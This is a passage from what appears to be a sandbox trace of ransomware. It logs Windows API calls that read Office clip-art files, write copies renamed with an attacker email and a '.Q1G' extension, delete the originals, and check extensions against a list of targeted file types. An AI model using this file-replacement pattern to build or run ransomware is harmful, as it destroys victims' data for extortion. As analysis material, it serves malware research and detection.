(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0257.294] lstrlenW (lpString=".jpg") returned 4 [0257.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.294] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.294] lstrlenW (lpString="J0105490.WMF") returned 12 [0257.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.295] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=18728) returned 1 [0257.295] CloseHandle (hObject=0x3dc) returned 1 [0257.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0257.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.296] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.296] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.297] GetLastError () returned 0x0 [0257.297] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4928, lpOverlapped=0x0) returned 1 [0257.328] WriteFile (in: hFile=0x3f0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4930, lpOverlapped=0x0) returned 1 [0257.329] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.329] WriteFile (in: hFile=0x3f0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.329] SetEndOfFile (hFile=0x3f0) returned 1 [0257.329] CloseHandle (hObject=0x3f0) returned 1 [0257.329] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.329] SetEndOfFile (hFile=0x3dc) returned 1 [0257.331] CloseHandle (hObject=0x3dc) returned 1 [0257.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0257.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.332] lstrlenW (lpString=".doc") returned 4 [0257.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.332] lstrlenW (lpString=".docx") returned 5 [0257.332] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.332] lstrlenW (lpString=".pdf") returned 4 [0257.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.332] lstrlenW (lpString=".xls") returned 4 [0257.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.332] lstrlenW (lpString=".xlsx") returned 5 [0257.332] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.332] lstrlenW (lpString=".ppt") returned 4 [0257.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".zip") returned 4 [0257.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.333] lstrlenW (lpString=".rar") returned 4 [0257.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString=".bz2") returned 4 [0257.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString=".7z") returned 3 [0257.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".dbf") returned 4 [0257.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".1cd") returned 4 [0257.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".jpg") returned 4 [0257.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".doc") returned 4 [0257.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString=".docx") returned 5 [0257.333] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.333] lstrlenW (lpString=".pdf") returned 4 [0257.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString=".xls") returned 4 [0257.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.333] lstrlenW (lpString=".xlsx") returned 5 [0257.333] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.333] lstrlenW (lpString=".ppt") returned 4 [0257.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.333] lstrlenW (lpString=".zip") returned 4 [0257.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.333] lstrlenW (lpString=".rar") returned 4 [0257.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.334] lstrlenW (lpString=".bz2") returned 4 [0257.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.334] lstrlenW (lpString=".7z") returned 3 [0257.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.334] lstrlenW (lpString=".dbf") returned 4 [0257.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.334] lstrlenW (lpString=".1cd") returned 4 [0257.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0257.334] lstrlenW (lpString=".jpg") returned 4 [0257.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.334] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.334] lstrlenW (lpString="J0105502.WMF") returned 12 [0257.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.348] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5472) returned 1 [0257.348] CloseHandle (hObject=0x390) returned 1 [0257.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0257.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.348] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.349] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.349] GetLastError () returned 0x0 [0257.349] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1560, lpOverlapped=0x0) returned 1 [0257.350] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1570, lpOverlapped=0x0) returned 1 [0257.351] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.351] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.352] SetEndOfFile (hFile=0x3e0) returned 1 [0257.352] CloseHandle (hObject=0x3e0) returned 1 [0257.352] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.352] SetEndOfFile (hFile=0x390) returned 1 [0257.354] CloseHandle (hObject=0x390) returned 1 [0257.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString=".doc") returned 4 [0257.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString=".docx") returned 5 [0257.355] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.355] lstrlenW (lpString=".pdf") returned 4 [0257.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString=".xls") returned 4 [0257.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.355] lstrlenW (lpString=".xlsx") returned 5 [0257.355] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.355] lstrlenW (lpString=".ppt") returned 4 [0257.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString=".zip") returned 4 [0257.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.355] lstrlenW (lpString=".rar") returned 4 [0257.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString=".bz2") returned 4 [0257.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString=".7z") returned 3 [0257.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString=".dbf") returned 4 [0257.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString=".1cd") returned 4 [0257.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.355] lstrlenW (lpString=".jpg") returned 4 [0257.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString=".doc") returned 4 [0257.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString=".docx") returned 5 [0257.356] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.356] lstrlenW (lpString=".pdf") returned 4 [0257.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString=".xls") returned 4 [0257.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.356] lstrlenW (lpString=".xlsx") returned 5 [0257.356] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.356] lstrlenW (lpString=".ppt") returned 4 [0257.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString=".zip") returned 4 [0257.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.356] lstrlenW (lpString=".rar") returned 4 [0257.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString=".bz2") returned 4 [0257.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString=".7z") returned 3 [0257.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString=".dbf") returned 4 [0257.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString=".1cd") returned 4 [0257.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0257.356] lstrlenW (lpString=".jpg") returned 4 [0257.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.356] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.357] lstrlenW (lpString="J0105506.WMF") returned 12 [0257.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.357] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2912) returned 1 [0257.357] CloseHandle (hObject=0x390) returned 1 [0257.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0257.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.358] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.358] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.358] GetLastError () returned 0x0 [0257.358] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb60, lpOverlapped=0x0) returned 1 [0257.360] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xb70, lpOverlapped=0x0) returned 1 [0257.361] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.361] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.361] SetEndOfFile (hFile=0x3e0) returned 1 [0257.361] CloseHandle (hObject=0x3e0) returned 1 [0257.362] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.362] SetEndOfFile (hFile=0x390) returned 1 [0257.365] CloseHandle (hObject=0x390) returned 1 [0257.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0257.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.366] lstrlenW (lpString=".doc") returned 4 [0257.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.366] lstrlenW (lpString=".docx") returned 5 [0257.366] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.366] lstrlenW (lpString=".pdf") returned 4 [0257.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.366] lstrlenW (lpString=".xls") returned 4 [0257.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.366] lstrlenW (lpString=".xlsx") returned 5 [0257.367] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.367] lstrlenW (lpString=".ppt") returned 4 [0257.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString=".zip") returned 4 [0257.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.367] lstrlenW (lpString=".rar") returned 4 [0257.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString=".bz2") returned 4 [0257.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString=".7z") returned 3 [0257.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString=".dbf") returned 4 [0257.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString=".1cd") returned 4 [0257.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString=".jpg") returned 4 [0257.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.367] lstrlenW (lpString=".doc") returned 4 [0257.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString=".docx") returned 5 [0257.367] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.367] lstrlenW (lpString=".pdf") returned 4 [0257.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.367] lstrlenW (lpString=".xls") returned 4 [0257.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.367] lstrlenW (lpString=".xlsx") returned 5 [0257.367] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.367] lstrlenW (lpString=".ppt") returned 4 [0257.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.368] lstrlenW (lpString=".zip") returned 4 [0257.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.368] lstrlenW (lpString=".rar") returned 4 [0257.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.368] lstrlenW (lpString=".bz2") returned 4 [0257.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.368] lstrlenW (lpString=".7z") returned 3 [0257.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.368] lstrlenW (lpString=".dbf") returned 4 [0257.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.368] lstrlenW (lpString=".1cd") returned 4 [0257.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0257.368] lstrlenW (lpString=".jpg") returned 4 [0257.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.368] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.368] lstrlenW (lpString="J0105520.WMF") returned 12 [0257.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.369] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=31812) returned 1 [0257.369] CloseHandle (hObject=0x390) returned 1 [0257.371] GetFileAttributesW (lpFileName="C:\\Program 